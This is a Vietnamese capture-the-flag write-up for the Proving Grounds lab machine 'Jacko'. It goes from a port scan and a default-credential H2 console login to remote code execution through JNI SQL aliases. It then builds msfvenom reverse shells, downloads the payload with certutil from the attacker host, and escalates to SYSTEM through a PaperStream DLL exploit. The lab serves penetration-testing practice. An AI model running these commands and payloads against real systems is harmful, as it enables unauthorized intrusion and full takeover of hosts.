[Proving Grounds] Jacko
Overview
Difficulty: Offsec để Intermediate, còn Community rate HARD :v
IP Victim: 192.168.163.66
IP Attacker: 192.168.49.55
Information Gathering
Oài, xem là máy mục tiêu đang có những port nào mở và dịch vụ chạy đằng sau nó, bla bla…
1 | $ nmap -p- --open --min-rate 3000 192.168.163.66 |
Phân tích một chút, có thể đoán đoán máy mục tiêu đang sử dụng hệ điều hành Windows, mà thực ra tôi biết thừa nó chạy Windows rồi, đề bài để cái logo Windows mà :v
Hoặc để ý vào port 80 và nhận thấy phần version có tên “Microsoft IIS httpd 10.0”, uy tín luôn.
Sơ qua thì:
- HTTP server trên 2 port 80 và 8082
- SMB trên 2 port 139 và 445
- RPC trên port 135
- ??? trên port 7680 :))) tạm thời chịu
Giao diện khi truy cập vào port 80 và 8082 thì như này đây:
Và…
Tin tôi đi, tôi đéo biết nó là mẹ gì đâu, có thể là một giao diện quản lý Database nào đó na ná như cái PhpMyAdmin mà tôi đã từng gặp. Với ô username đang có giá trị mặc định hiển thị là sa, tôi đoán DBMS đang sử dụng là MSSQL. Kệ mẹ nó, cứ nhấn Login xem sao :)) Bùm!
Login thành công với thông tin đăng nhập mặc định, my god!
Giờ thì thử tìm kiếm exploit về thằng H2 console này xem có khai thác RCE được không.
Nhận thấy có 3 exploit cho phép RCE, với phiên bản 1.4.196 và 1.4.199, đối chiếu với phiên bản H2 Database đang sử dụng trên máy mục tiêu là 1.4.199, khớp ngon lành, khai thác thôi!
Exploitation
H2 Database 1.4.199 - JNI Code Execution (https://www.exploit-db.com/exploits/49384)
Bám theo các bước trong PoC, đầu tiên là ghi một file thư viện .DLL vào trong thư mục có quyền ghi (C:\Windows\Temp\):
1 | SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', |
Sau đó thực hiện load file thư viện này và đặt tên (alias) thành “JNIScriptEngine_eval”.
1 | CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load"; |
All done! Thực thi lệnh whoami
.
1 | CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()'); |
Kết quả trả về là jacko\tony, đã vl!
Ok, tiếp theo lấy reverse shell.
Get shell
Tạo một payload với MSFvenom:
1 | $ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.55 LPORT=445 -f exe -o duma445.exe |
Khởi chạy HTTP server trên thư mục chứa payload vừa tạo để máy mục tiêu tải duma443.exe về.
1 | CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -f http://192.168.49.55/duma445.exe C:/Windows/Temp/duma445.exe").getInputStream()).useDelimiter("\\Z").next()'); |
Trên máy Kali của tôi lúc này sẽ xuất hiện request từ phía máy mục tiêu với mã response 200, xác nhận tải file payload thành công.
1 | $ updog -p 80 |
Giờ thì chỉ cần bật lắng nghe trên cổng 445 và chạy payload.
1 | CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Temp/duma445.exe").getInputStream()).useDelimiter("\\Z").next()'); |
Ok, lấy Flag đầu tiên nằm trong C:\Users\tony\Desktop\local.txt
local.txt: c64e9635a454835427a021f0ac96680b
Privileges Escalation
Sau một hồi tim kiếm các thể loại, tải Winpeas lên chạy các kiểu con đà điểu, không ăn thua lắm. Tôi quay về với cách try hard :/
Tìm kiếm xem máy này đã cài đặt các chương trình gì?
Hmm….
1 | $ searchsploit PaperStream |
=)) Ok “Local Privilege Escalation”
Làm theo PoC, tạo một payload .DLL để lấy reverse shell:
1 | msfvenom -p windows/shell_reverse_tcp -f dll -o duma8082.dll LHOST=192.168.49.55 LPORT=8082 |
Do tôi đang có quyền của user tony nên tôi hoàn toàn có thể thao tác trong thư mục C:/Users/tony, sửa đổi lại đường dẫn $PayloadFile
trong script và tải 49382.ps1, duma8082.dll vào thư mục C:/Users/tony.
Một vấn đề nữa là powershell
phải sử dụng đường dẫn tuyệt đối để truy cập, và phải Unrestricted ExecutionPolicy để có thể thực thi được script.
Như này:
Bật lắng nghe trên công 8082 và thực thi script 49382.ps1, lấy được shell system.
Done!